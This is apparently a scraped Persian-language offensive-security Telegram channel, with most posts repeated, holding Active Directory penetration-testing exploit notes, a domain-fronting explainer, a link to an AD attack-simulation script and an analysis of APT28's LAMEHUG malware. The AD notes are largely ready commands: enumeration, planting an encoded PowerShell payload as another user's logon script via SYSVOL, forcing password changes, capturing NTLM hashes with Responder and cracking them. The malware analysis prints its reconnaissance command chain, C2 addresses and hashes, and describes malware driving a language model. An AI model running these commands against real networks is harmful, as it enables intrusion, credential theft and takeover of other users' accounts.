دامنه صوری Domain Fronting تکنیکی است که در آن دامنهای که در SNI (Server Name Indication) TLS درخواست می شود که برای شبکه قابل مشاهده است با دامنهای که در هدر HTTP Host استفاده می شود که تا پس از انجام handshake رمزگذاریشده قابل مشاهده نیست متفاوت است. این روش باعث می شود ترافیک به نظر برسد که به دامنهای قانونی یا پرطرفدار (مثلاً cdn.cloudflare.net) هدایت می شود، در حالی که در واقع به یک دامنه C2 مخفی پشت CDN مسیردهی می شود.
@KavehOffSec
دامنه صوری Domain Fronting تکنیکی است که در آن دامنهای که در SNI (Server Name Indication) TLS درخواست می شود که برای شبکه قابل مشاهده است با دامنهای که در هدر HTTP Host استفاده می شود که تا پس از انجام handshake رمزگذاریشده قابل مشاهده نیست متفاوت است. این روش باعث می شود ترافیک به نظر برسد که به دامنهای قانونی یا پرطرفدار (مثلاً cdn.cloudflare.net) هدایت می شود، در حالی که در واقع به یک دامنه C2 مخفی پشت CDN مسیردهی می شود.
@KavehOffSec
👍6
⭕ یادداشت های اکسپلویت از تست نفوذ Active Directory - بخش اول
دوستان من این مورد قبلا خونده بودم گفتم مطالب با شما هم به اشتراک بگذارم شاید براتون مفید باشه .
اکتیودایرکتوری (AD) یک سرویس دایرکتوری است که توسط مایکروسافت برای شبکه های دامنه ویندوز توسعه پیدا کرده است.
شمارش یا Enumeration
کشف یا Discovery کنترل کنندههای دامنه (Domain Controllers Discovery)
شمارش با BloodHound
1. اجرای BloodHound ما از BloodHound Community Edition استفاده میکنیم.
دستور زیر Docker Compose BloodHound را شروع می کند:
پس از آن، میتوانیم از رابط یا اینترفیس وب با دسترسی به localhost:8080 در مرورگر وب استفاده کنیم.
با نام کاربری admin و رمز عبوری که در لاگ هنگام اجرای دستور بالا نمایش داده میشود، وارد شوید.
برای مشخص کردن IP و پورت دلخواه، متغیرهای محیطی را روی ماشین اتکر تنظیم کنید:
2. جمع آوری داده ها (Collect Data)
گزینه 1. استفاده از NetExec اگر NetExec را در ماشین خود دارید، فکر میکنم ساده ترین راه باشد.
گزینه 2. استفاده از BloodHound.py ما همچنین میتوانیم از BloodHound.py استفاده کنیم.
آن را به صورت زیر نصب کنید:
سپس داده ها را جمعآوری کنید:
#NoteADExploit
@KavehOffSec
دوستان من این مورد قبلا خونده بودم گفتم مطالب با شما هم به اشتراک بگذارم شاید براتون مفید باشه .
اکتیودایرکتوری (AD) یک سرویس دایرکتوری است که توسط مایکروسافت برای شبکه های دامنه ویندوز توسعه پیدا کرده است.
شمارش یا Enumeration
کشف یا Discovery کنترل کنندههای دامنه (Domain Controllers Discovery)
dig @<target-ip> example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25
شمارش با BloodHound
1. اجرای BloodHound ما از BloodHound Community Edition استفاده میکنیم.
دستور زیر Docker Compose BloodHound را شروع می کند:
curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose down -v # If you want to reset the password of BloodHound...
sudo docker-compose pull && sudo docker-compose up
پس از آن، میتوانیم از رابط یا اینترفیس وب با دسترسی به localhost:8080 در مرورگر وب استفاده کنیم.
با نام کاربری admin و رمز عبوری که در لاگ هنگام اجرای دستور بالا نمایش داده میشود، وارد شوید.
برای مشخص کردن IP و پورت دلخواه، متغیرهای محیطی را روی ماشین اتکر تنظیم کنید:
export BLOODHOUND_HOST=10.0.0.1
export BLOODHOUND_PORT=8090
2. جمع آوری داده ها (Collect Data)
گزینه 1. استفاده از NetExec اگر NetExec را در ماشین خود دارید، فکر میکنم ساده ترین راه باشد.
netexec ldap <target-ip> -d example.local -u username -p password --dns-server <target-ip> --bloodhound -c All
گزینه 2. استفاده از BloodHound.py ما همچنین میتوانیم از BloodHound.py استفاده کنیم.
آن را به صورت زیر نصب کنید:
python3 -m venv .venv
source .venv/bin/activate
pipx install bloodhound # or using 'pip3' instead of 'pipx'
bloodhound-python -h
سپس داده ها را جمعآوری کنید:
# -u: Username
# -p: Password
# -dc: Domain Controller
# -c all: Collect all data
# -ns: Alternate the nameserver
bloodhound-python -d example.local -u username -p password -dc dc.example.local -c all -ns ns.example.local
# If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>
#NoteADExploit
@KavehOffSec
👍11
⭕️ یادداشت های اکسپلویت از تست نفوذ Active Directory - بخش دوم
3. آپلود داده های جمعآوری شده (Upload Collected Data)
پس از اجرا، فایلهای نتیجه (*.json) در دایرکتوری فعلی تولید می شوند. تمام این فایلهای JSON را به BloodHound در مرورگر وب آپلود کنید.
میتوانیم روابط در Active Directory را کاوش کنیم.
بررسی (Investigation)
فهرست همه کاربران
فهرست همه گروهها
فهرست سیاست رمز عبور
بازیابی اطلاعات در مورد دامنه داده شده.
تغییر رمز عبور کاربر AD
سوءاستفاده از اسکریپت ورود برای کاربران دیگر (Abuse Logon Script for Other Users)
اگر کاربر فعلی مجوز نوشتن اسکریپت ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت ورود کاربران دیگر را تغییر دهیم.
1. بررسی مجوز
2. تغییر/اضافه کردن یک اسکریپت مخرب
3. تنظیم اسکریپت ورود برای کاربر مشخصشده
هنگامی که کاربر دیگر وارد سیستم می شود، اسکریپت .bat اجرا خواهد شد.
#NoteADExploit
@KavehOffSec
3. آپلود داده های جمعآوری شده (Upload Collected Data)
پس از اجرا، فایلهای نتیجه (*.json) در دایرکتوری فعلی تولید می شوند. تمام این فایلهای JSON را به BloodHound در مرورگر وب آپلود کنید.
میتوانیم روابط در Active Directory را کاوش کنیم.
بررسی (Investigation)
فهرست همه کاربران
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A
فهرست همه گروهها
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com
فهرست سیاست رمز عبور
net accounts /domain
# فهرست ابجکت ها AD
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com
بازیابی اطلاعات در مورد دامنه داده شده.
Get-ADDomain -Server dc.example.com
تغییر رمز عبور کاربر AD
Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL
یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می کند.
dir \\dc.example.com\SYSVOL\
سوءاستفاده از اسکریپت ورود برای کاربران دیگر (Abuse Logon Script for Other Users)
اگر کاربر فعلی مجوز نوشتن اسکریپت ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت ورود کاربران دیگر را تغییر دهیم.
1. بررسی مجوز
icacls C:\Windows\SYSVOL\sysvol\example.local\noscripts\
2. تغییر/اضافه کردن یک اسکریپت مخرب
'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\noscripts\evil.bat
3. تنظیم اسکریپت ورود برای کاربر مشخصشده
Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\noscripts\evil.bat
هنگامی که کاربر دیگر وارد سیستم می شود، اسکریپت .bat اجرا خواهد شد.
#NoteADExploit
@KavehOffSec
👍5❤1
https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-2016-and-2019-reach-end-of-support-in-30-days/
https://thehackernews.com/2025/02/microsoft-end-of-support-for-exchange-2016-and-exchange-2019.html
https://thehackernews.com/2025/02/microsoft-end-of-support-for-exchange-2016-and-exchange-2019.html
BleepingComputer
Microsoft: Exchange 2016 and 2019 reach end of support in 30 days
Microsoft has reminded administrators again that Exchange 2016 and Exchange 2019 will reach the end of extended support next month and has provided guidance for decommissioning outdated servers.
⭕️ یادداشت های اکسپلویت از تست نفوذ Active Directory - بخش پایانی
حمله Force Change Password Attack
اگر برخی نام کاربری/رمز عبور و نام های کاربری دیگر را پیدا کردیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. کاربر نیاز به مجوز GenericAll برای تغییر رمز عبور کاربران دیگر دارد.
Microsoft Management Console (mmc)
برای تنظیم AD، این دستورالعملها را دنبال کنید:
۱. روی آیکون ویندوز راست کلیک کنید.
۲. روی "Run" کلیک کنید و "mmc" را وارد کنید سپس "OK" را کلیک کنید.
۳. در MMC، روی "File → Add or Remove Snap-ins" کلیک کنید.
۴. تمام سه "Active Directory…" snap-in را اضافه کنید.
۵. روی "Active Directory…" در پنل سمت چپ راستکلیک کنید و "Change Forest" را انتخاب کنید.
۶. دامنه را به عنوان Root domain وارد کنید و OK را کلیک کنید.
۷. روی "View → Advanced Features" کلیک کنید.
قرارداد نام گذاری (Naming Convention)
اگر فهرست نام های کاربری در Active Directory را پیدا کردیم، میتوانیم نام های کاربری را با قرارداد نام گذاری تغییر دهیم.
برای مثال:
تزریق اعتبارنامه ها به حافظه (Inject Credentials into Memory)
پیکربندی DNS (DNS Configuration)
حالا بررسی کنید که پیکربندی به درستی تنظیم شده است.
دانش پایه (Basic Knowledge)
مدیریت کاربر (User Management)
(Delegation)
در Active Directory، مدیر میتواند کاربر دیگری را برای مدیریت کاربران در یک واحد سازمانی (OU) Delegation کند، بدون privileges مدیر.
تنظیم (Setup)
"Active Directory Users and Computers" را باز کنید.
روی OU تارگت راست کلیک کنید و روی “Delegate Control…” کلیک کنید. سپس پنجره جدید باز میشود.
در پنجره، نام کاربری که میخواهید privilege مدیریت کاربران را به او Delegation کنید، وارد کنید.
وظایفی را که کاربر واگذارشده(Delegation) باید مدیریت کند، انتخاب کنید.
OK را کلیک کنید.
مدیریت کاربران (Manage Users)
به عنوان کاربر واگذارشده وارد شوید.
برای مثال، اگر میخواهید رمز عبور john را بازنشانی کنید، دستور زیر را در PowerShell اجرا کنید. سپس رمز عبور جدید را در پرامپت وارد کنید.
اولین باری که John پس از آن وارد سیستم میشود، میخواهیم John رمز عبور دلخواه خود را تغییر دهد نه رمزی که شما وارد کردید. برای این کار، دستور زیر را اجرا کنید.
حالا وقتی John وارد سیستم میشود، از او خواسته میشود رمز عبور جدیدی تغییر دهد.
رهگیری احراز هویت NetNTLM (Intercept NetNTLM Authentication)
Responder را شروع کنید تا برای هر درخواست LLMNR، NBT-NS، WPAD گوش کند.
Responder را تا دریافت برخی درخواستها در حال اجرا نگه دارید.
اگر هش NTLM را دریافت کردید، آن را در ماشین محلی کرک کنید.
#NoteADExploit
@KavehOffSec
حمله Force Change Password Attack
اگر برخی نام کاربری/رمز عبور و نام های کاربری دیگر را پیدا کردیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. کاربر نیاز به مجوز GenericAll برای تغییر رمز عبور کاربران دیگر دارد.
# -U: User credential who has the permission to change another user password
# -I: Target IP
# -S: Target server name
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"
Microsoft Management Console (mmc)
برای تنظیم AD، این دستورالعملها را دنبال کنید:
۱. روی آیکون ویندوز راست کلیک کنید.
۲. روی "Run" کلیک کنید و "mmc" را وارد کنید سپس "OK" را کلیک کنید.
۳. در MMC، روی "File → Add or Remove Snap-ins" کلیک کنید.
۴. تمام سه "Active Directory…" snap-in را اضافه کنید.
۵. روی "Active Directory…" در پنل سمت چپ راستکلیک کنید و "Change Forest" را انتخاب کنید.
۶. دامنه را به عنوان Root domain وارد کنید و OK را کلیک کنید.
۷. روی "View → Advanced Features" کلیک کنید.
قرارداد نام گذاری (Naming Convention)
اگر فهرست نام های کاربری در Active Directory را پیدا کردیم، میتوانیم نام های کاربری را با قرارداد نام گذاری تغییر دهیم.
برای مثال:
john smith -> jsmith, j.smith, john.smith
michael pole -> mpole, m.pole, michael.pole
ssh dc.example.com\\<ad_username>@sub.dc.example.com
تزریق اعتبارنامه ها به حافظه (Inject Credentials into Memory)
# /netonly: All network communications will use these injected credentials for authentication.
runas.exe /netonly /user:<domain>\<username> cmd.exe
پیکربندی DNS (DNS Configuration)
# PowerShell
$dnsip = "<DC_IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip
حالا بررسی کنید که پیکربندی به درستی تنظیم شده است.
دانش پایه (Basic Knowledge)
مدیریت کاربر (User Management)
(Delegation)
در Active Directory، مدیر میتواند کاربر دیگری را برای مدیریت کاربران در یک واحد سازمانی (OU) Delegation کند، بدون privileges مدیر.
تنظیم (Setup)
"Active Directory Users and Computers" را باز کنید.
روی OU تارگت راست کلیک کنید و روی “Delegate Control…” کلیک کنید. سپس پنجره جدید باز میشود.
در پنجره، نام کاربری که میخواهید privilege مدیریت کاربران را به او Delegation کنید، وارد کنید.
وظایفی را که کاربر واگذارشده(Delegation) باید مدیریت کند، انتخاب کنید.
OK را کلیک کنید.
مدیریت کاربران (Manage Users)
به عنوان کاربر واگذارشده وارد شوید.
برای مثال، اگر میخواهید رمز عبور john را بازنشانی کنید، دستور زیر را در PowerShell اجرا کنید. سپس رمز عبور جدید را در پرامپت وارد کنید.
Set-ADAccountPassword john -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose
اولین باری که John پس از آن وارد سیستم میشود، میخواهیم John رمز عبور دلخواه خود را تغییر دهد نه رمزی که شما وارد کردید. برای این کار، دستور زیر را اجرا کنید.
Set-ADUser -ChangePasswordAtLogon $true -Identity john -Verbose
حالا وقتی John وارد سیستم میشود، از او خواسته میشود رمز عبور جدیدی تغییر دهد.
رهگیری احراز هویت NetNTLM (Intercept NetNTLM Authentication)
Responder را شروع کنید تا برای هر درخواست LLMNR، NBT-NS، WPAD گوش کند.
sudo responder -I <interface-like-eth0>
Responder را تا دریافت برخی درخواستها در حال اجرا نگه دارید.
اگر هش NTLM را دریافت کردید، آن را در ماشین محلی کرک کنید.
echo -n '<copied-NTLM-hash>' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt
#NoteADExploit
@KavehOffSec
❤5👍1
دوستان این اسکریپت قبلا نوشته بودم حال تغییرات و بهبود پیدا کرده امیدوارم براتون مفید باشه
ابزار ADKAVEH: شبیهسازی حملات و شناسایی در Active Directory با PowerShell
ADKAVEH یک اسکریپت PowerShell است که به تیمهای امنیتی امکان شبیهسازی حملات و شناسایی در محیطهای Active Directory را میدهد. این ابزار شامل ماژولهایی برای شبیهسازی حملاتی مانند Kerberoasting، AS-REP Roasting، Password Spraying و تست های اختیاری برای غیرفعالسازی Windows Defender است.
https://github.com/TryHackBox/ADKAVEH
#tools
@KavehOffSec
ابزار ADKAVEH: شبیهسازی حملات و شناسایی در Active Directory با PowerShell
ADKAVEH یک اسکریپت PowerShell است که به تیمهای امنیتی امکان شبیهسازی حملات و شناسایی در محیطهای Active Directory را میدهد. این ابزار شامل ماژولهایی برای شبیهسازی حملاتی مانند Kerberoasting، AS-REP Roasting، Password Spraying و تست های اختیاری برای غیرفعالسازی Windows Defender است.
https://github.com/TryHackBox/ADKAVEH
#tools
@KavehOffSec
GitHub
GitHub - TryHackBox/ADKAVEH: ADKAVEH - One PowerShell noscript for Active Directory discovery and safe attack simulation.
ADKAVEH - One PowerShell noscript for Active Directory discovery and safe attack simulation. - GitHub - TryHackBox/ADKAVEH: ADKAVEH - One PowerShell noscript for Active Directory discovery and safe ...
❤9
💢 روز "بازگشایی آموزشگاها"
این روز خجسته را به همهی مردم ايران بزرگ شادباش میگویم.
به ویژه خانوادههایی که دانش آموز از پایه يکم دبستان تا آموزشگاهای بزرگ کشور را دارند.
آرزوی آبرومندی و رسیدن به برترین پایههای دانشیک و بهترین ها را آرزو داریم براتون.
این روز خجسته را به همهی مردم ايران بزرگ شادباش میگویم.
به ویژه خانوادههایی که دانش آموز از پایه يکم دبستان تا آموزشگاهای بزرگ کشور را دارند.
آرزوی آبرومندی و رسیدن به برترین پایههای دانشیک و بهترین ها را آرزو داریم براتون.
❤5
APT28 LAMEHUG
اولین بدافزار مجهز به هوش مصنوعی در طبیعت
گروه هکری روس APT28 (Forest Blizzard, UAC-0001) با توسعه اولین بدافزار عمومی مستندشده که از یک مدل زبانی بزرگ (LLM) بهره می برد، دوره جدیدی از حملات سایبری را معرفی کرده است. LAMEHUG فصل جدیدی در تاریخ بدافزارها گشوده است.
معماری فنی
اجزای اصلی:
- زبان برنامهنویسی: پایتون
- بستهبندی: PyInstaller (فایلهای .pif)
- مدل زبانی: Qwen 2.5-Coder-32B-Instruct
- رابط برنامهنویسی (API): Hugging Face Inference API
- روش تحویل: ایمیلهای فیشینگ حاوی فایلهای ZIP
رویکرد انقلابی:
LAMEHUG
دستورات متنی به زبان طبیعی را دریافت کرده و از طریق مدل زبانی آن ها را به دستورات سیستمی تبدیل می کند که روی دستگاه آلوده اجرا می شوند. این قابلیت امکان خودکارسازی وظایف پیچیده جاسوسی و سرقت دادهها را بدون نیاز به برنامهنویسی دستورات خاص فراهم میکند.
مکانیزم عملکرد
مرحله ۱: آلودگی
مرحله ۲: تولید دستورات توسط هوش مصنوعی
بدافزار درخواستهایی را به Qwen 2.5-Coder از طریق API Hugging Face ارسال میکند:
"تولید دستورات ویندوز برای جمعوآوری اطلاعات سیستمی شامل سختافزار، پروسس ها، سرویس ها و پیکربندی شبکه"
مرحله ۳: اجرای دستورات تولید شده
مدل زبانی دستورات آماده را باز می گرداند و LAMEHUG آن ها را از طریق cmd.exe اجرا میکند:
مرحله ۴: جمع آوری و استخراج داده ها
- جستجوی بازگشتی در پوشه های Documents، Desktop، Downloads
- آماده سازی فایل ها برای استخراج
- انتقال داده ها از طریق SFTP یا HTTP POST.
گونههای بدافزار
سه نسخه شناسایی شده است:
1. نسخه اصلی (Appendix.pdf.pif)
- قابلیت پایه تولید دستورات توسط هوش مصنوعی
- جمعآوری اطلاعات سیستمی
- استخراج دادهها از طریق SFTP
2.AI_generator_uncensored_Canvas_PRO_v0.9.exe
- قابلیتهای پیشرفته تر تولید دستورات
- روش های جایگزین استخراج داده
- دور زدن محدودیت های مدل زبانی
3. image.py
- نسخه اسکریپت پایتون
- منطق تغییر یافته برای استخراج
- احتمالاً نسخه آزمایشی
شاخص های فنی
- نسخه جایگزین
شاخص های شبکهای:
هش فایل ها:
روش های شناسایی
1. نظارت بر فعالیت فایل:
2. شناسایی جاسوسی:
3. نظارت شبکهای:
@KavehOffSec
اولین بدافزار مجهز به هوش مصنوعی در طبیعت
گروه هکری روس APT28 (Forest Blizzard, UAC-0001) با توسعه اولین بدافزار عمومی مستندشده که از یک مدل زبانی بزرگ (LLM) بهره می برد، دوره جدیدی از حملات سایبری را معرفی کرده است. LAMEHUG فصل جدیدی در تاریخ بدافزارها گشوده است.
معماری فنی
اجزای اصلی:
- زبان برنامهنویسی: پایتون
- بستهبندی: PyInstaller (فایلهای .pif)
- مدل زبانی: Qwen 2.5-Coder-32B-Instruct
- رابط برنامهنویسی (API): Hugging Face Inference API
- روش تحویل: ایمیلهای فیشینگ حاوی فایلهای ZIP
رویکرد انقلابی:
LAMEHUG
دستورات متنی به زبان طبیعی را دریافت کرده و از طریق مدل زبانی آن ها را به دستورات سیستمی تبدیل می کند که روی دستگاه آلوده اجرا می شوند. این قابلیت امکان خودکارسازی وظایف پیچیده جاسوسی و سرقت دادهها را بدون نیاز به برنامهنویسی دستورات خاص فراهم میکند.
مکانیزم عملکرد
مرحله ۱: آلودگی
Appendix.pdf.zip → Appendix.pdf.pif → PyInstaller executable
مرحله ۲: تولید دستورات توسط هوش مصنوعی
بدافزار درخواستهایی را به Qwen 2.5-Coder از طریق API Hugging Face ارسال میکند:
"تولید دستورات ویندوز برای جمعوآوری اطلاعات سیستمی شامل سختافزار، پروسس ها، سرویس ها و پیکربندی شبکه"
مرحله ۳: اجرای دستورات تولید شده
مدل زبانی دستورات آماده را باز می گرداند و LAMEHUG آن ها را از طریق cmd.exe اجرا میکند:
cmd.exe /c "mkdir %PROGRAMDATA%\info &&
systeminfo >> %PROGRAMDATA%\info\info.txt &&
wmic computersystem get name,manufacturer,model >> %PROGRAMDATA%\info\info.txt &&
wmic cpu get name,speed >> %PROGRAMDATA%\info\info.txt &&
wmic memorychip get capacity,speed >> %PROGRAMDATA%\info\info.txt &&
wmic diskdrive get model,size >> %PROGRAMDATA%\info\info.txt &&
wmic nic get name,macaddress,ipaddress >> %PROGRAMDATA%\info\info.txt &&
tasklist >> %PROGRAMDATA%\info\info.txt &&
net start >> %PROGRAMDATA%\info\info.txt &&
ipconfig /all >> %PROGRAMDATA%\info\info.txt &&
whoami /user >> %PROGRAMDATA%\info\info.txt &&
whoami /groups >> %PROGRAMDATA%\info\info.txt &&
net config workstation >> %PROGRAMDATA%\info\info.txt &&
dsquery user -samid %username% >> %PROGRAMDATA%\info\info.txt"
مرحله ۴: جمع آوری و استخراج داده ها
- جستجوی بازگشتی در پوشه های Documents، Desktop، Downloads
- آماده سازی فایل ها برای استخراج
- انتقال داده ها از طریق SFTP یا HTTP POST.
گونههای بدافزار
سه نسخه شناسایی شده است:
1. نسخه اصلی (Appendix.pdf.pif)
- قابلیت پایه تولید دستورات توسط هوش مصنوعی
- جمعآوری اطلاعات سیستمی
- استخراج دادهها از طریق SFTP
2.AI_generator_uncensored_Canvas_PRO_v0.9.exe
- قابلیتهای پیشرفته تر تولید دستورات
- روش های جایگزین استخراج داده
- دور زدن محدودیت های مدل زبانی
3. image.py
- نسخه اسکریپت پایتون
- منطق تغییر یافته برای استخراج
- احتمالاً نسخه آزمایشی
شاخص های فنی
آرتیفکت های فایل:
- %PROGRAMDATA%\info\info.txt
- اطلاعات سیستمی
- Appendix.pdf.pif
پیلود اصلی
- AI_generator_uncensored_Canvas_PRO_v0.9.exe
- نسخه جایگزین
شاخص های شبکهای:
- سرورهای C2: 144.126.202.227, 192.36.27.37
- دامنهها:
boroda70@meta.ua, stayathomeclasses.com
- API: inference.huggingface.co (Qwen 2.5-Coder)
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
هش فایل ها:
- 8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a
- 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777
- a30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416
- d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e
- bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3
- 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715
روش های شناسایی
1. نظارت بر فعالیت فایل:
Sysmon Event ID 11: File creation in %PROGRAMDATA%\info\*
Suspicious files in writable directories: AppData, ProgramData, Users\Public
2. شناسایی جاسوسی:
- اجرای چندین دستور شناسایی در بازه زمانی کوتاه:
whoami, systeminfo, wmic, ipconfig, net, tasklist
3. نظارت شبکهای:
- اتصالات به نقاط پایانی API مدلهای زبانی:
- inference.huggingface.co
- api.openai.com
- generativelanguage.googleapis.com
- api.anthropic.com`
@KavehOffSec
❤6👍1